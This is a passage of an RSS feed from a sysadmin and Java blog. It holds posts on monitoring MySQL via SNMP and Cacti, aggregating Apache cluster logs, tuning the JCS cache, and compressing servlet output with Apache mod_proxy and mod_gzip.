<p align="left">But for now, let&#8217;s see how these three values are exposed through snmp. The first step is to tell the SNMP daemon that the script has an associated MIB. This is done in the configuration file, usually located at <em>/etc/snmp/snmp.d</em>. The following line attaches the script [for example /home/user/myscript.sh] execution to a certain OID:</p>
<pre>exec .1.3.6.1.4.1.111111.1 MySQLParameters /home/user/myscript.sh</pre>
<p align="left">the &#8216;.1.3.6.1.4.1.111111.1&#8242; OID is a branch of &#8216;.1.3.6.1.4.1&#8242; [meaning '.iso.org.dod.internet.private.enterprises']. We tried to make it look &#8216;legitimate&#8217; but obviously you can use here any sequence you want to.</p>
<p align="left">After restarting the daemon, let&#8217;s interrogate Mibbrowser for the freshly created OID, see the following image <em>snmpwalk -Os -c [community_name] -v 1 [hostname] .1.3.6.1.4.1.111111.1</em> ; the result is:</p>
<pre>enterprises.111111.1.1.1 = INTEGER: 1
enterprises.111111.1.2.1 = STRING: "MySQLParameters"
enterprises.111111.1.3.1 = STRING: "/etc/snmp/mysql_params.sh"
enterprises.111111.1.100.1 = INTEGER: 0
enterprises.111111.1.101.1 = STRING: "0.900000"
enterprises.111111.1.101.2 = STRING: "18551"
enterprises.111111.1.101.3 = STRING: "108"
enterprises.111111.1.102.1 = INTEGER: 0
enterprises.111111.1.103.1 = ""</pre>
<p align="left">Great ! Now we have the proof that it really works and our specific values extracted with a custom script are visible through SNMP. Let&#8217;s go back to Cacti and see how we can make some nice charts out of them<a title="sc5" name="sc5" href="#sn5"><sup>5</sup></a>.</p>
<p align="left">Cacti has this nice feature of defining &#8216;templates&#8217; that you can reuse afterwards. My strategy is to define a data template for each one of the 3 parameters I want to chart, using the &#8216;Duplicate&#8217; function applied to the &#8216;SNMP &#8211; Generic OID Template&#8217;.</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/01/snmp2.gif" alt="" width="501" height="48" /></p>
<p align="left">On the duplicate datasource template, you have to change the datasource title, name to display in charts, data source type [use DERIVE for incremental counters and GAUGE for instantaneous values], specific OID and the snmp community. Do it for the three values.</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/01/snmp3.gif" alt="" width="500" height="172" /></p>
<p align="left">Using the three new datasource templates, create a chart template for &#8216;MySQL Activity&#8217;. That&#8217;s a bit more complicated, but it boils down to the following procedure, repeated for each of the 3 data sources:</p>
<ul>
<li>add a data source and associate a graph [I always use AREA for the first graph as a background and LINE3 for the other, but it's just a matter of taste]</li>
<li>associate labels with current or computed values: CURRENT, AVERAGE, MAX in this example</li>
</ul>
<p>All the rest is really fine tuning &#8211; deciding for better colors, wether to use autoscale or fixed scale and so on. By now, your graph template should be ready to use.</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/01/snmp4.gif" alt="" width="501" height="352" /></p>
<p align="left">Note that for the incremental values ['DERIVE' type data sources] I&#8217;ve used titles such as &#8216;Thousands queries/5 min&#8217; &#8211; the 5 minutes come from the Cacti poller which is set to query for data each 5 minutes. The end result is something like this one :</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/01/snmp5.gif" alt="" width="500" height="199" /></p>
<p align="left">On this real production chart you&#8217;ll see a few interesting patterns. For instance, at 3 o&#8217;clock in the morning, there is a huge spike in all the charted parameters &#8211; indeed, a cron&#8217;ed script was provoking this spike. From time to time, a small burst of slow queries is recorded &#8211; still under investigation. What is interesting here is that these spikes were previously undetectable on the load average chart, which look clean and innocuous:</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/01/snmp6.gif" alt="" width="501" height="220" /></p>
<p align="left">To conclude, SNMP is a valuable resource for server performance monitoring. Often, investigating specific parameters and displaying them in tools such as Cacti can bring interesting insights upon the behavior of servers.</p>
<p align="left">Some SNMP implementations in different programming languages:</p>
<ul>
<li>Java:  <a href="http://snmp.westhawk.co.uk/" target="_new">Westhawk&#8217;s Java SNMP stack</a> [free w commercial support], <a href="http://snmp.adventnet.com/index.html" target="_new">AdventNet SNMP API</a> [commercial, with a feature-restricted un-expiring free version], <a href="http://www.ireasoning.com/snmpapi.shtml" target="_new">iREASONING SNMP API</a> [commercial implementation], <a href="http://www.snmp4j.org/" target="_new">SNMP4J</a> [free and feature-rich implementation - thank you Mathias for the tip]</li>
<li>PHP: client-only supported by the php-snmp extension, <a href="http://ro.php.net/manual/en/ref.snmp.php" target="_new">part of</a> the PHP distribution [free]</li>
<li>Python: <a href="http://pysnmp.sourceforge.net/" target="_new">PySNMP</a> is a Python SNMP framework, client+agents [free].</li>
<li>Ruby: client-only implementation <a href="http://snmplib.rubyforge.org/" target="_new">Ruby SNMP</a> [free]</li>
</ul>
<p><a title="sn1" name="sn1" href="#sc1"><sup>1</sup></a> If you&#8217;re running Debian, Cacti comes with apt so it&#8217;s a breeze to install and run [<em>apt-get install cacti</em>]</p>
<p><a title="sn2" name="sn2" href="#sc2"><sup>2</sup></a> a bit out of the scope of this article, SNMP also allows writing values on remote servers, not only retrieving monitored values.</p>
<p><a title="sn3" name="sn3" href="#sc3"><sup>3</sup></a> Replace [hostname] with the server hostname and [community_name] with the SNMP community &#8211; default being &#8216;public&#8217;. The SNMP community is a way of authenticating a client to a SNMP server; although the system can be used for pretty sophisticated stuff, most of the time the servers have a read-only passwordless community, visible only in the internal network for monitoring purposes.</p>
<p><a title="sn4" name="sn4" href="#sc4"><sup>4</sup></a> In fact, a commercial implementation of SNMP for MySQL does exist.</p>
<p><a title="sn5" name="sn5" href="#sc5"><sup>5</sup></a> The procedure described here applies to Cacti v0.8.6.c</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/monitor-everything-on-your-linux-servers-with-snmp-and-cacti/tools/20060305/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Aggregating webservers logs for an Apache cluster</title>
		<link>http://www.netuality.ro/aggregating-webservers-logs-for-an-apache-cluster/tools/20050925</link>
		<comments>http://www.netuality.ro/aggregating-webservers-logs-for-an-apache-cluster/tools/20050925#comments</comments>
		<pubDate>Sun, 25 Sep 2005 17:20:11 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[j2ee]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/aggregating-webservers-logs-for-an-apache-cluster/uncategorized/20050925</guid>
		<description><![CDATA[One of the ways of scaling a heavy-traffic LAMP web application is to transform the server into a cluster of servers. Some may opt to walk on the easy path by using an overpriced appliance load balancer, but the most daring [and budget-restrained] will go for free software solutions such as pound or haproxy.
Although excellent [...]]]></description>
			<content:encoded><![CDATA[<p>One of the ways of scaling a heavy-traffic LAMP web application is to transform the server into a cluster of servers. Some may opt to walk on the easy path by using an overpriced appliance load balancer, but the most daring [and budget-restrained] will go for free software solutions such as <a href="http://www.apsis.ch/pound/" target="_new">pound</a> or <a href="http://w.ods.org/tools/haproxy/" target="_new">haproxy</a>.</p>
<p>Although excellent performers, these free balancers have lots of missing features when compared with counterpart commercial solutions. One of the most embarrassing misses is the lack of flexibility in producing decent access logs. Both pound (<em>LogLevel 4</em>) and haproxy (<em>option httplog</em>) may generate Apache-like logs in their logfiles or the syslog, however none offers the level of customization encountered in Apache. Basically, you&apos;re left with using the logs from the cluster nodes. These logs present a couple of problems:</p>
<ul>
<li>the originating IP is always the internal IP of the balancer</li>
<li>there is one log/node, while log analysis tools can usually cope with a single log file/report</li>
</ul>
<p>First problem is relatively easy to solve. Start by activating the X-Forwarded-For header in the balancing software : for instance configuring haproxy with <em>option forwardfor</em>. A relatively unknown Apache module called <a href="http://stderr.net/apache/rpaf/" target="_new">mod_rpaf</a> will solve the tedious task of extracting the remote IP from X-Forwarded-For header and copying it in the remote address field of Apache logs. For Debian Linux fans, it&apos;s nice to note that <em>libapache-mod-rpaf</em> is available via apt.</p>
<p>Now that you have N realistic Apache weblogs, 1 per cluster node, you just have to concatenate and put them in a form understandable by your log analysis tools. Just simply <em>cat</em>-ing them in a big file, won&apos;t cut it [arf] because new records will appear in different regions of the file instead of appending chronologically to its tail. The easiest solution in that case is to perform a <a href="http://www.ss64.com/bash/sort.html" target="_new">sort</a> on these logs. Although I am aware of the vague possibility of sorting on the Apache datetime field, even taking the locale into account, I confess my profound inability of finding the right combination of parameters. Instead, I choose to add a custom field in the Apache log; using the following log format:</p>
<pre>

LogFormat "%h %V %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"%{Cookie}i\" %c %T \"%{%Y%m%d%H%M%S}t\"" combined
</pre>
<p>where <em>%{%Y%m%d%H%M%S}t</em> is a standard projection of current datetime in an easily sortable integer, like for instance 20050925120000 &#8211; equivalent of 25 Sep 2005 12:00:00. Now, considering the quote as a separator in the Apache log format, is easy to sort upon this custom field [the 10th]:</p>
<pre>
sort -b -t "\"" -T /opt -k 10 /logpath/access?.log > /logpath/full.log
</pre>
<p>And there you are, having this nice huge log file to munch on. On a standard P4 with 1GB of RAM it takes less than a minute to obtain a 2GB log file&#8230;
</p>
<p>In case the web traffic is really big and log analysis process impacts the existing web activity, use a separate machine instead of overloading one of the cluster nodes. For automated transfer of log files, generate <a href="http://www.phy.bnl.gov/computing/gateway/ssh-agent.html" target="_new">ssh keys</a> on all the cluster nodes for paswordless login from the web analytics server in the web logfiles owner account. Minimization of traffic between these machines is done by installing rsync on them and them using rsync via ssh:</p>
<pre>
rsync -e ssh -Cavz www-data@node1:/var/log/apache/access.log /logpath/access1.log
</pre>
<p>Now, you know all the steps required to fully automate the log aggregation and its processing. One may ask why all the fuss when in fact a simple subscription to a ASP style web analytics provider should suffice. Yes, it&apos;s true however&#8230; The cluster that I&apos;ve recently configured with this procedure has a few million hits per week. Yes, we&apos;re talking about page hits. At this level of traffic, the cost for a web analytics service starts from 10.000$/year. It&apos;s certainly a nice amount of money, which will allow you to afford your own analytics tool [such as for instance <a href="http://www.urchin.com/products/v5/index.html" target="_new">Urchin v5</a>] and keep some cash from the first year. Some might say that this kind of commercial tools have their own load balancer analysis techniques. Sure, but it all comes with a cost. In the case of Urchin, you just saved 695$/node and some bragging rights with your mates. Relax and enjoy.</p>
<p>PS: Yes we&apos;re talking millions of page hits LAMP solution not J2EE&#8230; Maybe I&apos;ll get into details on another occasion, assuming that somebody is interested. Leave a comment, send a mail or something.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/aggregating-webservers-logs-for-an-apache-cluster/tools/20050925/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spotted on the net : another promising SWT app</title>
		<link>http://www.netuality.ro/spotted-on-the-net-another-promising-swt-app/tools/20050428</link>
		<comments>http://www.netuality.ro/spotted-on-the-net-another-promising-swt-app/tools/20050428#comments</comments>
		<pubDate>Thu, 28 Apr 2005 17:27:10 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/spotted-on-the-net-another-promising-swt-app/uncategorized/20050428</guid>
		<description><![CDATA[Judging by the screenshots, MajorCRM looks like YAGLSA (yet another good-looking SWT app). It spots some SWT custom widgets but also an Outlook-like bar, an inline spell-checker and a chat window featuring autocompletion. Sweet !
]]></description>
			<content:encoded><![CDATA[<p>Judging by the screenshots, <a href="http://www.majorcrm.com/preview/index.php" target="_new">MajorCRM</a> looks like YAGLSA (yet another good-looking SWT app). It spots some SWT custom widgets but also an Outlook-like bar, an inline spell-checker and a chat window featuring autocompletion. Sweet !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/spotted-on-the-net-another-promising-swt-app/tools/20050428/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JCS: the good, the bad and the undocumented</title>
		<link>http://www.netuality.ro/jcs-the-good-the-bad-and-the-undocumented/tools/20050217</link>
		<comments>http://www.netuality.ro/jcs-the-good-the-bad-and-the-undocumented/tools/20050217#comments</comments>
		<pubDate>Thu, 17 Feb 2005 18:30:27 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Hibernate]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[velocity]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/jcs-the-good-the-bad-and-the-undocumented/uncategorized/20050217</guid>
		<description><![CDATA[Java Caching System is one of the mainstream opensource and free Java caches*, along with OSCache, EHCache and JbossCache. Choosing JCS may be the subject of an article by itself, since this API has a vastly undeserved reputation of being a buggy, slow cache. Exactly this reputation has motivated the development of EHCache, which is [...]]]></description>
			<content:encoded><![CDATA[<p><a HREF="http://jakarta.apache.org/turbine/jcs/" target="_new">Java Caching System</a> is one of the mainstream opensource and free Java caches*, along with <a HREF="http://www.opensymphony.com/oscache/" target="_new">OSCache</a>, <a HREF="http://ehcache.sourceforge.net/" target="_new">EHCache</a> and <a HREF="http://www.jboss.org/products/jbosscache" target="_new">JbossCache</a>. Choosing JCS may be the subject of an article by itself, since this API has a vastly undeserved reputation of being a buggy, slow cache. Exactly this reputation has motivated the development of EHCache, which is in fact a fork of JCS. But, JCS has evolved a lot lately and is now a perfectly valid alternative for production; it still has a few occasional bugs, but nothing really bothersome. I&apos;ve recently had this interesting experience of cleaning up and tuning a website powered by JCS. This dynamic Java-based site is exposed to a healthy traffic of 0.6-1.2 Mhits/day, with 12.000-25.000 unique visitors daily, and caching has greatly improved its performance. This article is a collection of tips and best practices not comprised (yet?) in the official JCS documentation.</p>
<p><strong>Where to download JCS</strong></p>
<p>This is usually the first question when one wants to use JCS. Since JCS is not a &apos;real&apos; Jakarta project, but a module of the <a HREF="http://jakarta.apache.org/turbine/" target="_new">Turbine</a> framework, there is no downloading link available on the main site. If you search on Google, this question has popped many times on different mail lists or blogs and it usually has two kinds of answers, both IMHO wrong:</p>
<ul>
<li><em>download the source of Turbine and you&apos;ll find JCS in the dependencies</em>. No, you won&apos;t, because Turbine is build with Maven, which is supposed to automagically download all the needed dependencies and bring them to you on a silver plate. Meaning: tons of useless jars hidden somehwere in the murky depths of wherever Maven thinks is a nice install location. Uhh.</li>
<li><em>build it from scratch</em>. Another sadistic advice, given that JCS is also build with Maven. So you&apos;ll not only need to checkout the sources from CVS, but also install Maven. Then try to build JCS. And eventually give up. Like for instance in my case, I installed the monster^H^H^H^H^H^H wonderful build tool, then ran &apos;maven jar&apos;. Instead of the expected result [you know, building the jar !] Maven performed a series of operations like running unit tests, washing teeth, cooking a turkey. Well, I suppose it was doing this, because I couldn&apos;t read the huge gobs of text running quickly on the screen. At the end, it miserably failed, with no logical explanations (too many explanations is the modern equivalent of unexplained). So I gave up. Again.</li>
</ul>
<p>Fortunately, some kind souls at Jakarta (think of these developers as of a sort of secret congregation) provide clandestine latest &apos;demavenized&apos; binary builds in obscure places; for JCS, the<br />
location is <a HREF="http://cvs.apache.org/viewcvs.cgi/jakarta-turbine-jcs/tempbuild/" target="_new">here</a>. I used the last 1.1 build without problems for a few weeks and I strongly recommend it.</p>
<p><strong>Using the auxiliary disk cache</strong></p>
<p>There&apos;s a common misconception that one doesn&apos;t need no stinkin&apos; disk cache. Even on <a HREF="http://www.hibernate.org/61.html" target="_new">Hibernate site</a> the example JCS configurations has the auxiliary disk cache commented out. Maybe this comes from the fact that JCS disk cache suffered from a memory leak (not true any more) or from the simplistic reasoning that disk access is inherently slower than memory access. Well it surely is, but at the same time it&apos;s probably much faster than some of the database queries, which could benefit from caching.</p>
<p>Also, it is interesting to note that incorrectly dimensioned &apos;memory&apos; caches will make the Java process overflow from main memory to the swap disk. So you&apos;ll use the disk anyway, only in an un-optimized manner !</p>
<p>I wouldn&apos;t advise you to activate the auxiliary cache on disk without limiting its size, otherwise, the cache file would grow indefinitely. Controlling cache size is done by 2 parameters (<em>MaxKeySize</em> and <em>OptimizeAtRemoveCount</em>) example:</p>
<pre>
jcs.auxiliary.DC.attributes.MaxKeySize=2500
jcs.auxiliary.DC.attributes.OptimizeAtRemoveCount=2500
</pre>
<p>Only <em>MaxKeySize</em> is not enough, since it will only limit the number of keys pointing to values which are in disk cache. In fact, removing a value from the disk cache will only remove its key. But, the second (<em>OptimizeAtRemoveCount</em>) parameter will tell the cache to recreate a new file after a certain number of &apos;removes&apos;. This new cache file will keep only the cached values corresponding to the remaining keys, thus cleaning all obsolete values, and of course will replace the old cache file. The size of disk cache and the remove count is of course subject of tuning in your own environment.</p>
<p><strong>Tuning the memory shrinker</strong></p>
<p>Although one of the JCS authors specify that the shrinker &#8220;is rarely necessary&#8221;, it might come handy especially in memory constrained environments or for really big caches. With one exception: be careful and specify the <em>MaxSpoolPerRun</em> parameter (undocumented yet, but discussed on the mailing list) otherwise the shrinking process might lead to spikes in CPU usage. I am using the shrinker like that:</p>
<pre>
jcs.default.cacheattributes.UseMemoryShrinker=true
jcs.default.cacheattributes.ShrinkerIntervalSeconds=3600
jcs.default.cacheattributes.MaxSpoolPerRun=300
</pre>
<p>YMMV.</p>
<p><strong>Cache control via servlet</strong></p>
<p>Again, undocumented, but people seem to know about it. The servlet class is <em>org.apache.jcs.admin.servlet.JCSAdminServlet</em> but do not expect it to work out of the box ! This servlet uses <a HREF="http://jakarta.apache.org/velocity/" target="_new">Velocity</a> thus you&apos;ll need to :</p>
<ul>
<li>initialize Velocity before trying to access the servlet (or lazy, but you&apos;ll have to modify the servlet source)</li>
<li>copy the templates into the Velocity template location. The templates (JCSAdminServletDefault.vm and JCSAdminServletRegionDetail.vm) are not (bug ? feature ?) in the jar, so you&apos;ll have to retrieve them from the CVS repository. For the moment, they are at <a href="http://cvs.apache.org/viewcvs.cgi/jakarta-turbine-jcs/src/java/org/apache/jcs/admin/servlet/" target="_new">this</a> location.</li>
</ul>
<p>These are my findings. I would have really appreciated to have these few pieces of info before starting the cache tuning. If anybody thinks this article is useful and/or needs to be completed, write a comment, send an email, wave hands. I&apos;ll try to come up with more details.</p>
<p>*For a complete list, see the corresponding section at <a HREF="http://java-source.net/open-source/cache-solutions" target="_new">Java-source</a>.<br/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/jcs-the-good-the-bad-and-the-undocumented/tools/20050217/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HTTP compression filter on servlets : good idea, wrong layer</title>
		<link>http://www.netuality.ro/http-compression-filter-on-servlets-good-idea-wrong-layer/tools/20050202</link>
		<comments>http://www.netuality.ro/http-compression-filter-on-servlets-good-idea-wrong-layer/tools/20050202#comments</comments>
		<pubDate>Wed, 02 Feb 2005 05:28:53 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[j2ee]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Sun]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/http-compression-filter-on-servlets-good-idea-wrong-layer/uncategorized/20050202</guid>
		<description><![CDATA[The Servlet 2.3 specifications introduced the notion of servlet filters, powerful tools but unfortunately used in quite unimaginative ways. Let&#8217;s take for instance this ONJava article (&#8220;Two Servlet Filters Every Web Application Should Have&#8221;) written by one of the coauthors to Servlets and JavaServer Pages; the J2EE Web Tier (a well-known servlets and JSP book [...]]]></description>
			<content:encoded><![CDATA[<p>The Servlet 2.3 specifications introduced the notion of servlet filters, powerful tools but unfortunately used in quite unimaginative ways. Let&#8217;s take for instance <a href="http://www.onjava.com/pub/a/onjava/2003/11/19/filters.html?page=1" target="_new">this</a> ONJava article (&#8220;Two Servlet Filters Every Web Application Should Have&#8221;) written by one of the coauthors to <a href="http://www.jspbook.com/index.jsp" target="_new">Servlets and JavaServer Pages; the J2EE Web Tier</a> (a well-known servlets and JSP book from O&#8217;Reilly), Jayson Falkner*. This article has loads of trackbacks, it became so popular that the filters eventually got published on JavaPerformanceTuning along with an (otherwise very sensible and pragmatic) <a href="http://www.javaperformancetuning.com/news/interview037.shtml" target="_new">interview</a> of the author. However, there is a more efficient way of performing these tasks, as undiscriminated page compression and simple time-based caching do not necessarily belong in the servlet container**. As one of the comments (on ONJava) put it : &#8216;good idea, wrong layer !&#8217;. Let&#8217;s see why&#8230;</p>
<p>There is a simple way to compress pages from any kind of site (be it Java, PHP, or Ruby on Rails), natively, in Apache web server. The trick consists in chaining two Apache modules : <a href="http://httpd.apache.org/docs/mod/mod_proxy.html" target="_new">mod_proxy</a> and <a href="http://sourceforge.net/projects/mod-gzip/" target="_new">mod_gzip</a>.Via mod_proxy, it becomes possible to configure a certain path on one of your virtual hosts to proxy all requests to the servlet container, then you may selectively compress pages using mod_gzip.</p>
<p>Supposing that the two modules are compiled and loaded in the configuration, and your servlet is located at http://local_address:8080/b2b. You want to make it visible at http://external_address/b2b. To activate the proxy, add the following two lines :</p>
<pre>
ProxyPass /b2b/ http://local_address:8080/b2b/
ProxyPassReverse /b2b/ http://local_address:8080/b2b/</pre>
<p>You can add as many directives as you like, proxy-ing all the servlets for the server (for instance, one of the configuration I&#8217;ve looked at has a special servlet for dynamic image generation and one for dynamic PDF documents generation &#8211; the output will not be compressed, but they all had to be proxy-ed). Time-based caching is also possible with mod_proxy, but this subject deserves a little article by itself. For the moment, we&#8217;ll stick to simple transparent proxying and compression.</p>
<p>Congratulations, just restart Apache and you have a running proxy. Mod_gzip is a little bit trickier. I&#8217;ve adapted a little bit the configuration from the article <a href="http://www.zope.org/Members/softsign/ZServer_and_Apache_mod_gzip" target="_new">Getting mod_gzip to compress Zope pages proxied by Apache</a> (haven&#8217;t been able to find anything better concerning integration with Java servlet containers) and here&#8217;s the result :</p>
<pre>
#module settings
mod_gzip_on Yes
mod_gzip_can_negotiate Yes
mod_gzip_send_vary Yes
mod_gzip_dechunk Yes
mod_gzip_add_header_count Yes
mod_gzip_minimum_file_size 512
mod_gzip_maximum_file_size	5000000
mod_gzip_maximum_inmem_size	100000
mod_gzip_temp_dir /tmp
mod_gzip_keep_workfiles No
mod_gzip_update_static No
mod_gzip_static_suffix .gz
#includes
mod_gzip_item_include mime ^text/*$
mod_gzip_item_include mime httpd/unix-directory
mod_gzip_item_include handler proxy-server
mod_gzip_item_include handler cgi-script
#excludes
mod_gzip_item_exclude reqheader  "User-agent: Mozilla/4.0[678]"
mod_gzip_item_exclude mime ^image/*$
#log settings
LogFormat "%h %l %u %t \"%r\" %&gt;s %b \"%{Referer}i\" \"%{User-Agent}i\" mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct." mod_gzip_info
CustomLog /var/log/apache/mod_gzip.log mod_gzip_info</pre>
<p>Short explanation. The module is activated and allowed to negotiate (see if a static or cached file was already compressed and reuse it). The Vary header is useful for client-side caches to work, dechunking eliminates the &#8216;Transfer-encoding: chunked&#8217; HTTP header and joins the page into one big packet before compressing. Header length is added for traffic measuring purposes (we&#8217;ll see the &#8216;right&#8217; figures in the log). Minimum size of a file to be compressed is 512 bytes, setting maximum is also a good idea because a) compressing a huge file will stump your server and b) the limitation guards against infinite loops. Maximum file size to compress in memory is 100KB in my setting, but you should tune this value for optimum performance. Temporary directory is /tmp and workfiles should be kept only if you need to debug mod_gzip. Which you don&#8217;t.</p>
<p>We&#8217;ll include in the files to be gzipped everything that&#8217;s text type, directory listing and &#8230; the magic line is the one that specifies that everything coming from the proxy-server is susceptible to be compressed: this will assure the compression of your generated pages. And while you&#8217;re at it, why not add the cgi scripts&#8230;</p>
<p>The includes specified here are quite generous, let&#8217;s now filter some of it: we&#8217;ll exclude all the images because they SHOULD be already compressed and optimized for web. And last but not least, we&#8217;ll decide the format of the line to be added and the location of the compression log &#8211; it will allow us to see whether the filter is effectively running and compute how much bandwidth we have saved.</p>
<p>A compelling reason to use mod_gzip is its maturity. Albeit complex, this Apache module is stable and relatively bug free, which can hardly be said about the various compression filters found on the web. The original code from the O&#8217;Reilly article was behaving incorrectly under certain circumstances (corrected later on the book&#8217;s site, I&#8217;ve tested the code and it works fine). I also had some issues with Amy Roh&#8217;s filter (from Sun). Amy&#8217;s compression filter can be found in a lot of places on the web (JavaWorld, Sun), but unfortunately does not set the correct &#8216;Content-Length&#8217; header, thus disturbing <a href="http://httpunit.sourceforge.net/" target="_new">httpunit</a>, which in turn has &#8216;turned 100% red&#8217; my web tests suite &#8211; as soon as the compression filter was on. Argh.</p>
<p>For the final word, let&#8217;s compare the performance of the two solutions (servlet filter agains mod_proxy+mod_gzip). I&#8217;ve used a single machine to install both Apache and the servlet container (Jetty), and Amy Roh&#8217;s compression filter. A mildly complex navigation scenario was recorded in <a href="http://www.pushtotest.com/Downloads/features.html" target="_new">TestMaker</a> (a cool free testing tool written in Java), then played a certain number of times (100, to be more specific). The results are expressed in TPS (transactions per second): the bigger, the better. The following median values were obtained : 3.10TPS direct connection to the servlet container, 2.64TPS via the compression filter and 2.81TPS via Apache mod_proxy+mod_gzip. That means a 5% performance hit between the Apache and the filter solution. Of course the figure is highly dependent on my test setup, the specific webapp and a lot of other parameters, however I am confident that Apache is superior in any configuration. You also have to consider that using a proxy has some nice bonuses. For instance, Apache HTTPS virtual sites may encrypt your content in a transparent manner. Apache has very good and fast logging, so it&#8217;d be cool to completely disable HTTP requests logging in your servlet container. Moreover, the Apache log format is understood by a myriad of traffic analyzer tools. Load balancing is possible using mod_proxy and another remarkably useful Apache module, <a href="http://httpd.apache.org/docs/mod/mod_rewrite.html" target="_new">mod_rewrite</a>. As Apache runs in a completely different process, you might expect slightly better scalability on multiple processor boxes.</p>
<p><em>Nota bene</em>: in all the articles I&#8217;ve read on the subject of compression, there is this strange statement that compression cannot be detected client-side. Of course you can do it&#8230; Supposing you use <a href="http://www.mozilla.org/products/firefox/index.html" target="_new">Firefox</a> (which you should, if you&#8217;re serious about web browsing !) with the <a href="https://update.mozilla.org/extensions/moreinfo.php?id=60" target="_new">Web Developer plugin</a> (which you should, if you&#8217;re serious about web development !). As depicted in the figure, the plugin helps you to &#8220;View Response Headers&#8221; (in &#8220;Information&#8221; menu): the presence or absence of <em>Content-Encoding: gzip</em> is what you&#8217;re looking for. Voila ! Just for kicks, look at the response headers on a few well-known sites, and prepare to be surprized (try <a href="http://www.microsoft.com/" target="_new">Microsoft</a>, for instance or <a href="http://slashdot.org/" target="_new">Slashdot</a> for some funny random quotes).</p>
<p>* Jayson Falkner has also authored <a href="http://www.onjava.com/pub/a/onjava/2004/03/03/filters.html?page=1" target="_new">this</a> article (&#8220;Another Java Servlet Filter Most Web Applications Should Have&#8221;) which explains how to control the client-side cache via HTTP response headers. While the example is very simple, one can easily extend it to do more complex stuff such as caching according to rules (for instance, caching dynamically generated documents or images according to the context). This _is_ a pragmatic example of servlet filter.</p>
<p>** Unless of course &#8211; as one of the commenters explains here &#8211; you have some specific constraints against being able to use Apache, such as : embedded environment, forced to use another web server than Apache (alternative solutions might exist for those servers but I am not aware of them), mod_gzip unavailable on the target platform, etc.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/http-compression-filter-on-servlets-good-idea-wrong-layer/tools/20050202/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
